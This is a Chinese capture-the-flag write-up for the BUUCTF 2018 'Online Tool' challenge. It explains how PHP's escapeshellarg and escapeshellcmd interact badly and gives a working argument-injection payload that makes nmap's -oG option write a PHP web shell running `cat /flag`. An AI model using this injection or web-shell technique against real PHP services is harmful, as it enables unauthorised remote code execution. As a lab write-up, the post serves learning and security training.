[CTF]WriteUp第3篇

本文同时发布到我的个人blog:

[CTF]WriteUp第3篇icon-default.png?t=O83Ahttps://lingye.space/index.php/2024/08/30/ctfwriteup%e7%ac%ac3%e7%af%87/


[BUUCTF 2018]Online Tool

思路

RCE指的是远程代码执行漏洞
这题看来关键是构造$host,想办法输出flag
代码中有两个转义函数escapeshellargescapeshellcmd,我们先弄懂这两个函数的作用

参考文献:escapeshellarg参数绕过和注入的问题_escapeshellcmd-CSDN博客

escapeshellarg(string $arg): string
-param:
$arg: 要转义的命令
-return:
转义后的字符串

转义的方式为:
escapeshellarg()会给一个字符串加上单引号,并对任何现有的单引号进行转义,这样就可以直接将字符串传递给 shell 函数,使其被视为一个安全的单引号参数。此函数应用于对来自用户输入的 shell 函数的单个参数进行转义。shell 函数包括 exec()system() 和反引号运算符。
在 Windows 上,escapeshellarg() 会用空格替换百分号、感叹号(延迟变量替换)和双引号,并在字符串周围添加双引号。此外,对于连续的反斜杠(\)序列,会用一个额外的反斜杠进行转义。

<?php
echo escapeshellarg('Hello');
// 输出值为:'Hello'
echo escapeshellarg('Hello\'');
// 输出值为:'Hello'\'''(在命令行使用 echo 'Hello'\''',只会输出 Hello')

escapeshellcmd(string $arg): string
-param:
$arg: 要转义的命令
-return:
转义后的字符串

转义的方式为:
escapeshellcmd() 会将字符串中的任何字符转义,这些字符可能被用来欺骗 shell 命令执行任意命令。该函数应在将数据传递给 exec()system() 函数或反引号运算符之前使用,以确保来自用户输入的数据被转义。
以下字符前缀以反斜杠(\): &|*~<>^(){}$\\,\x0A\xFF。如果 '" 未成对出现,则仅对其进行转义。在 Windows 上,所有这些字符加上 % 前缀以一个叹号()。

解题

payload构造:参考文献:[BUUCTF 2018]Online Tool - 春告鳥 - 博客园 (cnblogs.com)

例:
<?php
$host = '172.17.0.2\' -v -d a=1';
// -> 172.17.0.2' -v -d a=1
$host = escapeshellarg($host);
// -> '172.17.0.2'\'' -v -d a=1'
$host = escapeshellcmd($host);
// -> '172.17.0.2'\\'' -v -d a=1\'
echo `curl `.$host;

// 传入的参数是:172.17.0.2' -v -d a=1
// 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
// 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
// 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

同时nmap有一个-oG参数,可以控制输出:

OUTPUT:
  -oN/-oX/-oS/-oG <file>: Output scan results in normal, XML, s|<rIpt kIddi3,
     and Grepable format, respectively, to the given filename.

即构造如下即可,其实到了这一步也可以传马:

?host=' <?php echo `cat /flag`;?> -oG test.php '

得到

注意

``是PHP里面的执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回。使用反引号运算符`的效果与函数 shell_exec() 相同

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值